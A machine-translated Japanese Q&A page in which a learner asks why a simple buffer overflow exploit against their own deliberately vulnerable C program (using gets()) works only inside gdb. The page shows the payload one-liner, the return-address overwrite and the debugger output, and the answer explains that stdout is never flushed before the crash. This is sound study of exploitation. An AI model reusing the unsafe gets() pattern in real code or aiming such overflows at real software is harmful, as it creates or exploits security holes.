web-dev-qa-db-ja.com

エクスプロイトはgdbでのみ機能します

tl; dr:なぜ私のエクスプロイトはgdb内でのみ機能するのですか。

私はバッファオーバーフローとエクスプロイト開発の分野に非常に慣れていません。一連の論文やビデオに基づいてスキルを向上させるために、このシンプルなCソフトウェアを作成しました。

注:ASLRを無効にしました

私の質問はこれとは異なると思います: バッファオーバーフローのエクスプロイトはgdbで機能しますが、機能しません 。作成者はASRLを有効にしているようです。


#include <stdio.h>
#include <string.h>

void granted()
{
    printf ("\nAccess granted\n");
    return;
}

int main()
{
    char password[104];
    printf ("Enter your password: ");
    gets(password);

    if (strcmp(password,"p@$$w0rd"))
    {
        printf("\nFailed!!");
    }
    else
    {
        granted();
    }

}

私の知る限り、小さなバグがあります。103文字をはるかに超える文字を入力することが可能です。

私の最初の悪用の目的は、実行フローを許可された機能にリダイレクトすることでした。

エクスプロイトを生成するために、次のコマンドを使用しましたpython -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted

me@computer:~$ gdb bof3.bin 
(gdb) r < payload-access-granted 
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password: 
Failed!!
Access granted

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

ご覧のとおり、ペイロードは期待どおりに動作しました。付与された関数にジャンプしました。エクスプロイトは機能しています...しかし

Gdb外:

me@computer:~$ ./bof3.bin < payload-access-granted 
Enter your password: 
Segmentation fault (core dumped)

それで、なぜこれが起こるのですか?私は何を正しくしなかったのですか?

7
Joao Daniel

ほとんどの場合、機能していますが、プログラムはAccess Granted printfが画面にフラッシュされていないためにクラッシュします。 SIGSEGVでクラッシュしても、バッファーがフラッシュされることはありません。 printfgranted呼び出しの後にfflush(stdout);を追加すると、目的の動作が得られる可能性があります。

2
David